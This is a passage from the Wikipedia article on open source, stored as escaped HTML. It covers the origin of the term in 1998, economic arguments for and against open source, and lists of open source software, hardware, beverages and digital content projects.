 Hall (programmer)"&gt;Jon Hall&lt;/a&gt;, Sam Ockman, &lt;a href="http://en.wikipedia.org/wiki/Michael_Tiemann" title="Michael 
Tiemann"&gt;Michael Tiemann&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Eric_S._Raymond" title="Eric S. 
Raymond"&gt;Eric S. Raymond&lt;/a&gt;. Over the next week, Raymond and others  worked on spreading the word. &lt;a href="http://en.wikipedia.org/wiki/Linus_Torvalds" title="Linus 
Torvalds"&gt;Linus Torvalds&lt;/a&gt; gave an all-important sanction the  following day. Phil Hughes offered a pulpit in &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Linux_Journal" title="Linux Journal"&gt;Linux  Journal&lt;/a&gt;&lt;/i&gt;. &lt;a href="http://en.wikipedia.org/wiki/Richard_Stallman" title="Richard 
Stallman"&gt;Richard Stallman&lt;/a&gt;, pioneer of the free software movement,  flirted with adopting the term, but changed his mind.&lt;sup class="reference" id="cite_ref-7"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-7"&gt;&lt;span&gt;[&lt;/span&gt;8&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  Those people who adopted the term used the opportunity before the  release of Navigator's source code to free themselves of the ideological  and confrontational connotations of the term "free software". Netscape  released its source code under the &lt;a href="http://en.wikipedia.org/wiki/Netscape_Public_License" title="Netscape Public License"&gt;Netscape Public License&lt;/a&gt; and later  under the &lt;a href="http://en.wikipedia.org/wiki/Mozilla_Public_License" title="Mozilla Public License"&gt;Mozilla Public License&lt;/a&gt;.&lt;sup class="reference" id="cite_ref-Muffatto000_8-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-Muffatto000-8"&gt;&lt;span&gt;[&lt;/span&gt;9&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
The term was given a big boost at an event organized in April 1998 by  technology publisher &lt;a href="http://en.wikipedia.org/wiki/Tim_O%27Reilly" title="Tim O'Reilly"&gt;Tim  O'Reilly&lt;/a&gt;. Originally titled the “Freeware Summit” and later known  as the “Open Source Summit”,&lt;sup class="reference" id="cite_ref-opensourcesummit_9-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-opensourcesummit-9"&gt;&lt;span&gt;[&lt;/span&gt;10&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  The event brought together the leaders of many of the most important  free and open source projects, including Linus Torvalds, &lt;a href="http://en.wikipedia.org/wiki/Larry_Wall" title="Larry Wall"&gt;Larry  Wall&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Brian_Behlendorf" title="Brian Behlendorf"&gt;Brian Behlendorf&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Eric_Allman" title="Eric Allman"&gt;Eric  Allman&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Guido_van_Rossum" title="Guido van Rossum"&gt;Guido van Rossum&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Michael_Tiemann" title="Michael 
Tiemann"&gt;Michael Tiemann&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Paul_Vixie" title="Paul Vixie"&gt;Paul  Vixie&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Jamie_Zawinski" title="Jamie Zawinski"&gt;Jamie Zawinski&lt;/a&gt; of Netscape, and Eric Raymond.  At that meeting, the confusion caused by the name free software was  brought up. Tiemann argued for “sourceware” as a new term, while Raymond  argued for “open source.” The assembled developers took a vote, and the  winner was announced at a press conference that evening. Five days  later, Raymond made the f&lt;br /&gt;
&lt;h2&gt;&lt;span class="mw-headline" id="Economic_analysis"&gt;Economic analysis&lt;/span&gt;&lt;/h2&gt;Most economists agree that open source candidates have an &lt;a href="http://en.wikipedia.org/wiki/Information_good" title="Information 
good"&gt;information good&lt;/a&gt;&lt;sup class="reference" id="cite_ref-11"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-11"&gt;&lt;span&gt;[&lt;/span&gt;12&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  (also termed 'knowledge good') aspect. In general, this suggests that  the original work involves a great deal of time, money, and effort.  However, the cost of reproducing the work is very low, so that  additional users may be added at zero or near zero cost — this is  referred to as the marginal cost of a product. At this point, it is  necessary to consider a &lt;a href="http://en.wikipedia.org/wiki/Copyright" title="Copyright"&gt;copyright&lt;/a&gt;. The idea of copyright for works of  authorship is to protect the incentive of making these original works.  Copyright restriction then creates access costs on consumers who value  the original more than making an additional copy but value the original  less than its price. Thus, they will pay an access cost of this  difference. Access costs also pose problems for authors who wish to  create something based on another work but are not willing to pay the  copyright holder for the rights to the copyrighted work. The second type  of cost incurred with a copyright system is the cost of administration  and enforcement of the copyright.&lt;br /&gt;
Being organised effectively as a &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Consumers%27_cooperative" title="Consumers' cooperative"&gt;consumers'  cooperative&lt;/a&gt;, the idea of open source is then to eliminate the access  costs of the consumer and the creator by reducing the restrictions of  copyright. This will lead to creation of additional works, which build  upon previous work and add to greater social benefit. Additionally some  proponents argue that open source also relieves society of the  administration and enforcement costs of copyright. Organizations such as  Creative Commons have websites where individuals can file for  alternative “licenses”, or levels of restriction, for their works.&lt;sup class="reference" id="cite_ref-12"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-12"&gt;&lt;span&gt;[&lt;/span&gt;13&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  These self-made protections free the general society of the costs of  policing copyright infringement. Thus, on several fronts, there is an  efficiency argument to be made on behalf of open sourced goods.&lt;br /&gt;
Others argue that society loses through open sourced goods. Because  there is a loss in monetary incentive to the creation of new goods, some  argue that new products will not be created. This argument seems to  apply particularly well to the business model where extensive research  and development is done, e.g. pharmaceuticals. However, this argument  ignores the fact that cost reduction for all concerned is perhaps an  even better monetary incentive than is a price increase. In addition,  others argue that visual art and other works of authorship should be  free. These proponents of extensive open source ideals argue that  monetary incentive for artists would perhaps better be derived from  performances or exhibitions, in a similar fashion to the funding of  provision of other types of services.&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=3" title="Edit section: Case study"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Case_study"&gt;Case study&lt;/span&gt;&lt;/h3&gt;An investigation of open source &lt;a href="http://en.wikipedia.org/wiki/Industrial_symbiosis" title="Industrial symbiosis"&gt;industrial symbiosis&lt;/a&gt; is performed by  Doyle and Pearce &lt;a class="external autonumber" href="http://me.queensu.ca/people/pearce/publications/documents/as21.pdf" rel="nofollow"&gt;[1]&lt;/a&gt; using Google Earth  (GE). This paper found that virtual globes coupled with open source  waste information can be used to:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;reduce embodied transport energy by reducing distances to recycling  facilities,&lt;/li&gt;
&lt;li&gt;choose end of life at recycling facilities rather than landfills,  and&lt;/li&gt;
&lt;li&gt;establish industrial symbiosis and eco-industrial parks on known  by-product synergies.&lt;/li&gt;
&lt;/ol&gt;Ultimately, open source sharing of information in virtual globes  provide a means to identify economically and environmentally beneficial  opportunities for waste management if the data have been made available.&lt;br /&gt;
&lt;h2&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=4" title="Edit section: Applications"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Applications"&gt;Applications&lt;/span&gt;&lt;/h2&gt;Many fields of study and social and political views have been  affected by the growth of the concept of open source. Advocates in one  field often support the expansion of open source in other fields. For  example, &lt;a href="http://en.wikipedia.org/wiki/Linus_Torvalds" title="Linus Torvalds"&gt;Linus Torvalds&lt;/a&gt; said, "the future is open  source everything."&lt;sup class="reference" id="cite_ref-13"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-13"&gt;&lt;span&gt;[&lt;/span&gt;14&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  But &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Eric_Raymond" title="Eric 
Raymond"&gt;Eric Raymond&lt;/a&gt; and other founders of the  open source movement have sometimes publicly argued against speculation  about applications outside software, saying that strong arguments for  software openness should not be weakened by overreaching into areas  where the story is less compelling. The broader impacts of the open  source movement, and the extent of its role in the development of new  information sharing procedures, remain to be seen.&lt;br /&gt;
The open source movement has inspired increased &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Transparency_%28humanities%29" title="Transparency (humanities)"&gt;transparency&lt;/a&gt;  and liberty in other fields, including the release of &lt;a href="http://en.wikipedia.org/wiki/Biotechnology" title="Biotechnology"&gt;biotechnology&lt;/a&gt;  research by &lt;a href="http://en.wikipedia.org/wiki/CAMBIA" title="CAMBIA"&gt;CAMBIA&lt;/a&gt;,&lt;sup class="reference" id="cite_ref-14"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-14"&gt;&lt;span&gt;[&lt;/span&gt;15&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  &lt;a href="http://en.wikipedia.org/wiki/Wikipedia" title="Wikipedia"&gt;Wikipedia&lt;/a&gt;,&lt;sup class="reference" id="cite_ref-15"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-15"&gt;&lt;span&gt;[&lt;/span&gt;16&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  and other projects. The open-source concept has also been applied to  media other than computer programs, e.g., by &lt;a href="http://en.wikipedia.org/wiki/Creative_Commons" title="Creative 
Commons"&gt;Creative Commons&lt;/a&gt;.&lt;sup class="reference" id="cite_ref-16"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-16"&gt;&lt;span&gt;[&lt;/span&gt;17&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  It also constitutes an example of user innovation (see for example the  book &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Democratizing_Innovation" title="Democratizing Innovation"&gt;Democratizing Innovation&lt;/a&gt;&lt;/i&gt;).&lt;sup class="reference" id="cite_ref-17"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-17"&gt;&lt;span&gt;[&lt;/span&gt;18&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  Often, open source is an expression where it simply means that a system  is available to all who wish to work on it. The difference between &lt;a href="http://en.wikipedia.org/wiki/Crowdsourcing" title="Crowdsourcing"&gt;crowdsourcing&lt;/a&gt;  and open source is that open source production is a cooperative  activity initiated and voluntarily undertaken by members of the public&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=5" title="Edit section: Computer software"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Computer_software"&gt;Computer software&lt;/span&gt;&lt;/h3&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Open_source_software" title="Open source software"&gt;Open source software&lt;/a&gt;  is software whose source code is published and made available to the  public, enabling anyone to copy, modify and redistribute the source code  without paying royalties or fees.&lt;sup class="reference" id="cite_ref-18"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-18"&gt;&lt;span&gt;[&lt;/span&gt;19&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  Open source code evolves through community cooperation. These  communities are composed of individual programmers as well as very large  companies. Examples of open-source software products are:&lt;sup class="reference" id="cite_ref-19"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-19"&gt;&lt;span&gt;[&lt;/span&gt;20&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
Programming language&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/PHP" title="PHP"&gt;PHP&lt;/a&gt; -  Scripting language suited for the web&lt;/li&gt;
&lt;/ul&gt;OS&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/GNU_Project" title="GNU 
Project"&gt;GNU Project&lt;/a&gt; — “a sufficient body of free software”&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Linux" title="Linux"&gt;Linux&lt;/a&gt;  — &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Operating_system_kernel" title="Operating system kernel"&gt;operating system  kernel&lt;/a&gt; based on &lt;a href="http://en.wikipedia.org/wiki/Unix" title="Unix"&gt;Unix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/OpenBSD" title="OpenBSD"&gt;OpenBSD&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/Operating_system" title="Operating system"&gt;operating system&lt;/a&gt; derived from &lt;a href="http://en.wikipedia.org/wiki/Unix" title="Unix"&gt;Unix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/FreeBSD" title="FreeBSD"&gt;FreeBSD&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/Operating_system" title="Operating system"&gt;operating system&lt;/a&gt; derived from &lt;a href="http://en.wikipedia.org/wiki/Unix" title="Unix"&gt;Unix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/OpenSolaris" title="OpenSolaris"&gt;OpenSolaris&lt;/a&gt; — Unix Operating System from Sun  Microsystems&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Symbian" title="Symbian"&gt;Symbian&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/Real-time_operating_system" title="Real-time operating system"&gt;real-time&lt;/a&gt; mobile &lt;a href="http://en.wikipedia.org/wiki/Operating_system" title="Operating 
system"&gt;operating system&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;Server&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Apache_HTTP_Server" title="Apache HTTP Server"&gt;Apache&lt;/a&gt; — HTTP web server&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Apache_Tomcat" title="Apache 
Tomcat"&gt;Tomcat web server&lt;/a&gt; — web container&lt;/li&gt;
&lt;li&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Mediawiki" title="Mediawiki"&gt;Mediawiki&lt;/a&gt; — &lt;a href="http://en.wikipedia.org/wiki/Wiki" title="Wiki"&gt;wiki&lt;/a&gt; server  software, the software that runs Wikipedia&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Alfresco_%28software%29" title="Alfresco (software)"&gt;Alfresco&lt;/a&gt; — &lt;a href="http://en.wikipedia.org/wiki/Content_management_system" title="Content management system"&gt;content management system&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/RenovatioCMS" title="RenovatioCMS"&gt;RenovatioCMS&lt;/a&gt; — &lt;a href="http://en.wikipedia.org/wiki/Content_management_system" title="Content management system"&gt;content management system&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Joomla" title="Joomla"&gt;Joomla&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/Content_management_system" title="Content management system"&gt;content management system&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Drupal" title="Drupal"&gt;Drupal&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/Content_management_system" title="Content management system"&gt;content management system&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/TYPO3" title="TYPO3"&gt;TYPO3&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/Content_management_system" title="Content management system"&gt;content management system&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/WordPress" title="WordPress"&gt;WordPress&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/Blog_software" title="Blog 
software"&gt;blog software&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/MongoDB" title="MongoDB"&gt;MongoDB&lt;/a&gt;  — document-oriented, non-relational database&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Eclipse_%28software%29" title="Eclipse (software)"&gt;Eclipse&lt;/a&gt; — software development  environment comprising an &lt;a href="http://en.wikipedia.org/wiki/Integrated_development_environment" title="Integrated development environment"&gt;integrated development  environment&lt;/a&gt; (IDE)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Moodle" title="Moodle"&gt;Moodle&lt;/a&gt;  — &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Course_management_system" title="Course management system"&gt;course management  system&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Virtual_learning_environment" title="Virtual learning environment"&gt;virtual learning environment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/OpenSIS" title="OpenSIS"&gt;openSIS&lt;/a&gt;  — open source Student Information System&lt;/li&gt;
&lt;/ul&gt;Client software&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/OsCommerce" title="OsCommerce"&gt;osCommerce&lt;/a&gt;  — &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Ecommerce" title="Ecommerce"&gt;ecommerce&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/PeaZip" title="PeaZip"&gt;PeaZip&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/File_archiver" title="File 
archiver"&gt;File archiver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Mozilla_Firefox" title="Mozilla Firefox"&gt;Mozilla Firefox&lt;/a&gt; — web browser&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Mozilla_Thunderbird" title="Mozilla Thunderbird"&gt;Mozilla Thunderbird&lt;/a&gt; — e-mail client&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/OpenOffice.org" title="OpenOffice.org"&gt;OpenOffice.org&lt;/a&gt; — office suite&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Stockfish_%28chess%29" title="Stockfish (chess)"&gt;Stockfish&lt;/a&gt; — &lt;a href="http://en.wikipedia.org/wiki/Chess_engine" title="Chess engine"&gt;chess  engine&lt;/a&gt; series, considered to be one of the strongest chess programs  of the world&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/7-Zip" title="7-Zip"&gt;7-Zip&lt;/a&gt;  — &lt;a href="http://en.wikipedia.org/wiki/File_archiver" title="File 
archiver"&gt;File archiver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;And many, many more&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=6" title="Edit section: Computer hardware"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Computer_hardware"&gt;Computer hardware&lt;/span&gt;&lt;/h3&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Open_source_hardware" title="Open source hardware"&gt;Open source hardware&lt;/a&gt;  is hardware whose initial specification, usually in a software format,  are published and made available to the public, enabling anyone to copy,  modify and redistribute the hardware and source code without paying  royalties or fees. Open source hardware evolves through community  cooperation. These communities are composed of individual  hardware/software developers, hobbyists, as well as very large  companies. Examples of open source hardware initiatives are:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Openmoko" title="Openmoko"&gt;Openmoko&lt;/a&gt;:  a family of open source &lt;a href="http://en.wikipedia.org/wiki/Mobile_phone" title="Mobile phone"&gt;mobile  phones&lt;/a&gt;, including the hardware specification and the &lt;a href="http://en.wikipedia.org/wiki/Operating_system" title="Operating 
system"&gt;operating system&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/OpenRISC" title="OpenRISC"&gt;OpenRISC&lt;/a&gt;:  an open source microprocessor family, with architecture specification  licensed under &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/GNU_GPL" title="GNU
 GPL"&gt;GNU GPL&lt;/a&gt; and implementation under &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/LGPL" title="LGPL"&gt;LGPL&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Sun_Microsystems" title="Sun 
Microsystems"&gt;Sun Microsystems&lt;/a&gt;'s &lt;a href="http://en.wikipedia.org/wiki/OpenSPARC" title="OpenSPARC"&gt;OpenSPARC&lt;/a&gt;  T1 Multicore processor. Sun has released it under GPL.&lt;sup class="reference" id="cite_ref-20"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-20"&gt;&lt;span&gt;[&lt;/span&gt;21&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Arduino" title="Arduino"&gt;Arduino&lt;/a&gt;,  a microcontroller platform for hobbyists, artists and designers.&lt;sup class="reference" id="cite_ref-21"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-21"&gt;&lt;span&gt;[&lt;/span&gt;22&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Simputer" title="Simputer"&gt;Simputer&lt;/a&gt;,  an open hardware &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Handheld_computer" title="Handheld 
computer"&gt;handheld computer&lt;/a&gt;, designed in &lt;a href="http://en.wikipedia.org/wiki/India" title="India"&gt;India&lt;/a&gt; for  use in environments where computing devices such as personal computers  are deemed inappropriate.&lt;sup class="reference" id="cite_ref-22"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-22"&gt;&lt;span&gt;[&lt;/span&gt;23&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/LEON" title="LEON"&gt;LEON&lt;/a&gt;: A  family of open source microprocessors distributed in a library with  peripheral &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/IP_core" title="IP 
core"&gt;IP cores&lt;/a&gt;, open &lt;a href="http://en.wikipedia.org/wiki/SPARC" title="SPARC"&gt;SPARC&lt;/a&gt; V8  specification, implementation available under &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/GNU_GPL" title="GNU GPL"&gt;GNU GPL&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=7" title="Edit section: Beverages"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Beverages"&gt;Beverages&lt;/span&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/OpenCola_%28drink%29" title="OpenCola (drink)"&gt;OpenCola&lt;/a&gt; — a &lt;a href="http://en.wikipedia.org/wiki/Cola" title="Cola"&gt;cola&lt;/a&gt; soft  drink, similar to &lt;a href="http://en.wikipedia.org/wiki/Coca-Cola" title="Coca-Cola"&gt;Coca-Cola&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Pepsi" title="Pepsi"&gt;Pepsi&lt;/a&gt;, whose  &lt;a href="http://en.wikipedia.org/wiki/Recipe" title="Recipe"&gt;recipe&lt;/a&gt;&lt;a class="external autonumber" href="http://alfredo.octavio.net/soft_drink_formula.pdf" rel="nofollow"&gt;[2]&lt;/a&gt; is open source and  developed by volunteers. The taste is said to be comparable to that of  the standard beverages. Most corporations producing beverages, hold  their formulas as closely guarded secrets.&lt;sup class="reference" id="cite_ref-23"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-23"&gt;&lt;span&gt;[&lt;/span&gt;24&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Vores_%C3%98l" title="Vores 
Øl"&gt;Vores Øl&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Beer" title="Beer"&gt;beer&lt;/a&gt; — a beer  created by students at the IT-University in &lt;a href="http://en.wikipedia.org/wiki/Copenhagen" title="Copenhagen"&gt;Copenhagen&lt;/a&gt;  together with &lt;a href="http://en.wikipedia.org/wiki/Superflex" title="Superflex"&gt;Superflex&lt;/a&gt;, a Copenhagen-based artist collective,  to illustrate how open source concepts might be applied outside the  digital world.&lt;sup class="reference" id="cite_ref-24"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-24"&gt;&lt;span&gt;[&lt;/span&gt;25&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;sup class="reference" id="cite_ref-25"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-25"&gt;&lt;span&gt;[&lt;/span&gt;26&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;sup class="reference" id="cite_ref-26"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-26"&gt;&lt;span&gt;[&lt;/span&gt;27&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;In 2002, the beer company &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Brewtopia&amp;amp;action=edit&amp;amp;redlink=1" title="Brewtopia (page does not exist)"&gt;Brewtopia&lt;/a&gt; in &lt;a href="http://en.wikipedia.org/wiki/Australia" title="Australia"&gt;Australia&lt;/a&gt;  started an open source brewery and invited the general population to be  involved in the development and ownership of the brewery, and to vote  on the development of every aspect of its beer, Blowfly, and its road to  market. In return for their feedback and input, individuals received  shares in the company, which is now publicly traded on a &lt;a href="http://en.wikipedia.org/wiki/Stock_exchange" title="Stock 
exchange"&gt;stock exchange&lt;/a&gt; in Australia. The company has always  adhered to its Open Source roots and is the only beer company in the  world that allows the public to design, customise and develop its own  beers online.&lt;sup class="reference" id="cite_ref-27"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-27"&gt;&lt;span&gt;[&lt;/span&gt;28&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Coffee" title="Coffee"&gt;Coffee&lt;/a&gt;  — capsule-based beverage systems such as &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Nestle" title="Nestle"&gt;Nestle&lt;/a&gt;'s &lt;i&gt;Nespresso&lt;/i&gt; or &lt;a href="http://en.wikipedia.org/wiki/Krups" title="Krups"&gt;Krups&lt;/a&gt;' &lt;i&gt;Tassimo&lt;/i&gt;  turn home-brewed coffee from an inherently "open-source" beverage into a  product limited by the specific range of capsules made available by the  system manufacturers.&lt;sup class="reference" id="cite_ref-28"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-28"&gt;&lt;span&gt;[&lt;/span&gt;29&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=8" title="Edit section: Digital content"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Digital_content"&gt;Digital content&lt;/span&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a class="external text" href="http://wikimediafoundation.org/wiki/Our_projects" rel="nofollow"&gt;Open-content projects organized by  the Wikimedia Foundation&lt;/a&gt; — Sites such as &lt;a href="http://en.wikipedia.org/wiki/Wikipedia" title="Wikipedia"&gt;Wikipedia&lt;/a&gt;  and &lt;a href="http://en.wikipedia.org/wiki/Wiktionary" title="Wiktionary"&gt;Wiktionary&lt;/a&gt; have embraced the open-content &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/GFDL" title="GFDL"&gt;GFDL&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Creative_Commons" title="Creative 
Commons"&gt;Creative Commons&lt;/a&gt; content licenses. These licenses were  designed to adhere to principles similar to various open-source software  development licenses. Many of these licenses ensure that content  remains free for re-use, that source documents are made readily  available to interested parties, and that changes to content are  accepted easily back into the system. An important site embracing open  source-like ideals is &lt;a href="http://en.wikipedia.org/wiki/Project_Gutenberg" title="Project 
